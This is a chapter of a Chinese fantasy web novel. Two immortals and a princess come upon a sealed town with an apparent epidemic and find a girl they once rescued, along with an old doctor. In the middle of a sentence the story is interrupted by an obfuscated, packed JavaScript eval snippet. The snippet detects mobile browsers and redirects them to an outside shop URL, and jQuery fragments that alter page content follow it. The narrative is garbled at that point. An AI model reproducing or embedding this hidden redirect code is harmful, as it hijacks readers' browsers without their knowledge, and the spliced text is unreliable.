四人结伴而行,一路朝着皇城而去。


    据赵书所言,距那千秋宴还有七日有余,几人便走走停停,也不着急。


    途经一个城镇,叶枇杷耸了耸鼻尖,顿下脚步,姚乐将马牵停,同马上的赵书一齐看向了在城门前驻足的两人。


    姚乐顺着她们的目光看向城门口,守城的士兵却和平日的不太一样,离城门口极远,时不时地还回头看上几眼,姚乐不由皱眉。


    赵书裹着件明显宽上许多的大袄,问道:“怎么了?”


    “想进城。”叶枇杷没想到自己前几日刚想着要在凡人间捕捞漏网之鱼,但这漏网之鱼竟有如此之多。


    和叶枇杷一样,曲西醉目光中出现了焦点列表,两个指针直指那扇紧闭的城门。


    曲西醉本想向士兵询问是否能进城中,可还没朝城门方向走了几步,就遭到了对方大声呵斥;“想活命就滚远点!”


    曲西醉皱了皱眉,叶枇杷心下也不爽,但秉承着‘民不与官斗’的思想,拦下了想上前的姚乐。她牵起嘴角,熟练地伸手掏出些铜板试图行贿,可没料到,这俩士兵竟摆了摆手,说什么都不肯放几人进城。


    “算了,秀。”曲西醉这么说着,暗中放出神识掠向城中。


    死气沉沉。


    她心中一惊,觉得探查到了什么大事,连忙拉过叶枇杷,头也不回地领着三个不明所以的人就往远离城镇的方向走去。


    “阿毒,你这是咋了?”叶枇杷依依不舍地回头看向城门方向,“不去找那俩人了么?”


    “你俩有认识的人在城中?”赵书不知两位仙人为何一定要去那城中,明明去皇城也不是那个方向。


    “算是。”曲西醉没多解释,但她的眉头依旧没有松下。


    等确保那两名士兵不会听见交谈声后,她朝叶枇杷小声道:“那城中好像有点不对劲,等晚上我们溜进去看看。”


    叶枇杷也拧起眉:“你看到什么了?”


    曲西醉面色凝重,不知如何言明,还没等她开口,坐在马上一摇一晃的赵书就说道:“的确不对劲,俩士兵奇怪得很,又不到宵禁,也没听说过要戒严,青天白日凭什么不让我们进去。”


    曲西醉略作思忖:“许是为了我们好,只是言语粗俗了些。那城中似乎有什么怪病,我看到几乎家家户户都有人生着病、熬着药。”


    “不会是…”叶枇杷想到方才她闻见的那股味道,又思及城门禁闭,灵光一闪,“不会是疫病吧!?”


    太多古代背景的小说涉及过传染病了,叶枇杷很难不联想到一起。


    曲西醉微微点头,但随后又摇了摇,姚乐闻言也不由皱眉。


    赵书却道:“这地方离皇城也不远了,我离宫不过三两日,出来前并未听说过附近有疫病啊。”


    “欺上瞒下的事,古往今来还少么?”叶枇杷直言不讳。


    赵书蹙眉:“天子脚下,怎会有这种事!”


    叶枇杷笑道:“你哥都准备杀功臣良将了,还有什么不可能。”


    “这是两码事!”赵书严肃道,“皇兄近些年来疑心甚重,只要危及皇权,他便极端行事,可天下民生乃他最忧心之事,他断不会容手底下的人如此作为。”


    叶枇杷不解:“那你还想造他的反?”


    赵书瞬间支支吾吾道:“这,这不是因为他想要阿乐性命嘛,更何况我当了皇帝,又不会害了他性命,大不了让他当太上皇呗。”


    叶枇杷又顶了回去:“哪有哥哥当太上皇,妹妹当皇帝的。”


    “你又看不起我!”赵书气恼道,恨不得从马上跳下,和叶枇杷打上一架。


    叶枇杷含笑看着小姑娘被气得脸颊泛红,不紧不慢道:“不要乱说,我可没看不起你,太上皇都是当爹的做,你这是差辈了。”


    “你俩闭嘴,我不是学医的,也只是简单看了一眼,城中居民大多倒床不起,但我也不能确定那就是疫病”曲西醉无奈,她看了眼看着脸色依旧煞白的公主,扭头姚乐交代道,“你俩去前面的镇中等我们,一切等今晚我和秀宝回来再说。”


    姚乐点头,翻身上马,一挥缰绳,毫不拖泥带水的就把仍想和叶枇杷争论个高低的赵书给带走了。


    听着远处飘来的几句话,叶枇杷只觉得把小公主逗气十分有趣,曲西醉对她这莫名其妙生出的爱好十分无奈。


    两人本也可以此时就潜入城内,可怕在城中突然出现引起骚乱,便打算等天黑下时在悄悄行动。


    ……


    夜半时分,两人隐去气息,轻而易举地躲过了驻守在城外的士兵,翻过城墙。


    一进城中,叶枇杷就察觉到那股药草味是愈发浓重,只怕是家家户户都长时间熬着中药。


    漆黑的夜晚只有几户人家点着灯,两人顺着焦点列表的方向寻去。


    那是一间药味极浓的屋子,窗扉上倒映着屋内人影,似有一人在桌案前,忽地人影又多了一个,还越来靠近窗边。


    “爷爷你燃了炭盆也不开点窗户……”


    女子说着话,伸手便推开窗户,叶枇杷本想躲到一旁,却瞥见那从打开的窗户中露出的些许侧脸,惊道:“安安!?”


    女孩猛地扭头朝窗外看来,瞬间睁大双眼:“你……!”


    叶枇杷瞧见她的正脸,确认面前长大了许多的女孩就是她曾经捡到的小乞丐。


    女孩长高了,比窗沿还高上了几分,脸蛋也圆润了些,看来陈老大夫没因自己拖欠伙食费而亏待她。


    曲西醉听到这个名字,也反应过来这小女孩是谁,她们此趟来凡人间的目的就是为了找陈安安,却没想到没想到竟会在这遇见。


    没过多久,屋门被轻轻推开,陈安安端着油灯走出,她收拾好了先前的震惊,只看着叶枇杷问道:“你怎么在这?”


    叶枇杷有些心虚,伸手挠了挠耳垂:“我们看到城里有好多生病的人,就想看看发生了什么。”


    “先进来吧。”陈安安小小年纪却叹了口气,将两人带进屋内。


    陈老大夫听闻动静,从房内出来瞧了一眼,本来紧皱的眉间稍稍舒展了些:“原来是你,一别多年,没想到还有重逢之日。”


    叶枇杷正打量着屋内,觉得似乎少了些什么,见老大夫出现,赶忙从兜里掏钱:“陈大夫不好意思啊,这是安安的伙食费。”


    陈老大夫倒也没推脱,伸手将钱袋接过,数了数钱数,又递到了陈安安手中:“你再去附近看看有哪些地方卖药材的,再买些回来。”


    陈安安轻声应下,叶枇杷见是两个熟人,便直接问道:“这里到底出什么事了?你俩又为什么在这?”


    陈老大夫长叹一声,无可奈何地摆了摆手,陈安安从别屋搬来板凳让叶枇杷两人坐下,自己蹲坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236533|195844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在一旁的小板凳上道出了这段日子的经历:“半年前,阿药被官府的人带走了……”


    叶枇杷这才想起,原来少的正是陈老大夫身边的那个药童。


    “官老爷说是当今圣上开恩,特地让太医院广收学徒,而阿药在当地是出了名的聪慧,便将这名额给了他,我和老爷子虽知此事定不是他们口中所说这般,却无能反抗,阿药也不愿我们和官府起冲突,只说到了皇城会给我们来信。”陈安安语哽咽道,她这半年来的惶恐在遇见叶枇杷的一瞬间被冲垮。


    女孩哪怕早熟,如今也不过十来岁的年纪,可陈老大夫已为药童焦心,她不敢在老人家面前露出丝毫不安。


    陈安安带着哭腔道:“可我们等了几月,还是没见他的消息,老爷子卖了药铺,带着我上皇城寻人。”


    “和皇宫有关系?”叶枇杷见女孩落泪,顿时心疼极了,她本就对女孩和陈老大夫心存愧疚,如今两人被欺负了,她定是要管上一管。


    见陈安安点头,叶枇杷转头和曲西醉对视一眼,曲西醉明白她的意思,看来是得找赵书了解一下情况。


    曲西醉叹了口气,她早先担忧这城中有疫病,怕本就还虚弱的赵书被传染上就让两人先去远处等着,如今却还要再跑一趟,早知道就一起进来算了:“我去把她俩带来。”


    陈安安抹着泪,面带不解地看着曲西醉起身要往门处走,叶枇杷也没解释,却想到了方才陈老大夫叫陈安安去买药材便喊住准备推门而出的曲西醉:“你顺便帮带点药回来。”


    叶枇杷说完看向陈老大夫,陈老大夫把所需的中草药说了一遍。


    曲西醉:“……你们要不要看看现在几点?”


    叶枇杷一脸呆滞,僵硬转头看向了窗外的月上柳梢头,猛地回头朝陈老大夫问道:“你俩为啥在这里?”


    曲西醉深呼一口气,不去管那掩耳盗铃的一老一小,转身离开。


    叶枇杷收回悄悄瞟向门口的目光,听着陈老大夫继续道:“我和安安在皇城待了段时日,始终没打探到消息,盘缠却也花了不少,老夫虽有一身医术,可天子脚下的达官贵人又怎会看得起我们在这乡野大夫,只能先离了皇城寻些赚钱的营生。”


    “路过此地时,这城中人的病还没这么严重,只是有一公子出手阔绰,说是能治好这病便付我们百两白银。”


    “我进城中一看,才知这病棘手,但也不能放着他们不管。”


    叶枇杷心中咯噔一下:“真是疫病?”


    她大脑开始疯狂运转,死命回想着看过的小说中关于如何救治疫病的方法,还没等她将零零散散的记忆拼凑出来,陈老大夫点头道:“临近圣上千秋,此地官府怕这事传播出去引起慌乱,但又怕疫病传染,竟封城处理。我虽凭着大夫的身份让官老爷放我进城,却能进不能出,哪怕我有了法子,可城中药材不多,只能靠安安溜出去稍带些许回来,还是杯水车薪。”


    “啊?”叶枇杷回过神来,“你有治病的法子啊。”


    陈老大夫:“我虽乡野大夫,可年轻时也随着师父走南闯北,见过不少怪病。只是这病啊,拖下去更不好治了。”


    叶枇杷放下心来,她虽看小说不少,但让她通过小说内容治病救人,那怕是阎王索命都没她快。


    几人聊了一盏茶的功夫,屋外传来动静,叶枇杷知是曲西醉回来,起身去开门。